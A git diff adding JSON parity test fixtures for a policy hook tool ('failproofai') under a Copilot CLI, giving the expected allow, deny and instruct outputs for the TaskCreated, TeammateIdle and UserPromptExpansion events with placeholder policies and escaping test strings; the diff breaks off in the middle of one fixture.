/dev/null +++ b/__tests__/parity/fixtures/copilot/TaskCreated/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "instruct", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"TaskCreated\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/TeammateIdle/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/TeammateIdle/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..54128ef8 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/TeammateIdle/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/TeammateIdle/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/TeammateIdle/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..db69013c --- /dev/null +++ b/__tests__/parity/fixtures/copilot/TeammateIdle/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/TeammateIdle/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/TeammateIdle/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..da032a85 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/TeammateIdle/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/TeammateIdle/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/TeammateIdle/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..42e834b1 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/TeammateIdle/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/TeammateIdle/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/TeammateIdle/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..10c7380e --- /dev/null +++ b/__tests__/parity/fixtures/copilot/TeammateIdle/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/TeammateIdle/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/TeammateIdle/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..3608793c --- /dev/null +++ b/__tests__/parity/fixtures/copilot/TeammateIdle/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/TeammateIdle/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/TeammateIdle/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..c7148c78 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/TeammateIdle/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/TeammateIdle/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/TeammateIdle/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..bbc2a907 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/TeammateIdle/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/TeammateIdle/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/TeammateIdle/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..34b0d67b --- /dev/null +++ b/__tests__/parity/fixtures/copilot/TeammateIdle/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "deny", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/TeammateIdle/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/TeammateIdle/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..037c70de --- /dev/null +++ b/__tests__/parity/fixtures/copilot/TeammateIdle/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "deny", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/TeammateIdle/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/TeammateIdle/deny__tool-present__one-policy.json new file mode 100644 index 00000000..03ee96ba --- /dev/null +++ b/__tests__/parity/fixtures/copilot/TeammateIdle/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "deny", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/TeammateIdle/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/TeammateIdle/deny__tool-present__two-policies.json new file mode 100644 index 00000000..03c07aed --- /dev/null +++ b/__tests__/parity/fixtures/copilot/TeammateIdle/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "deny", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/TeammateIdle/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/TeammateIdle/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..94555d16 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/TeammateIdle/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "instruct", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"TeammateIdle\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/TeammateIdle/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/TeammateIdle/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..67afa75c --- /dev/null +++ b/__tests__/parity/fixtures/copilot/TeammateIdle/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "instruct", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"TeammateIdle\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/TeammateIdle/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/TeammateIdle/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..556f498d --- /dev/null +++ b/__tests__/parity/fixtures/copilot/TeammateIdle/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "instruct", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"TeammateIdle\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/TeammateIdle/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/TeammateIdle/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..5a14a9b1 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/TeammateIdle/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "instruct", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"TeammateIdle\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/UserPromptExpansion/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/UserPromptExpansion/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..39ee2ac1 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/UserPromptExpansion/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/UserPromptExpansion/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/UserPromptExpansion/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..9a592275 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/UserPromptExpansion/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/UserPromptExpansion/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/UserPromptExpansion/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..5ecafdf9 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/UserPromptExpansion/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + 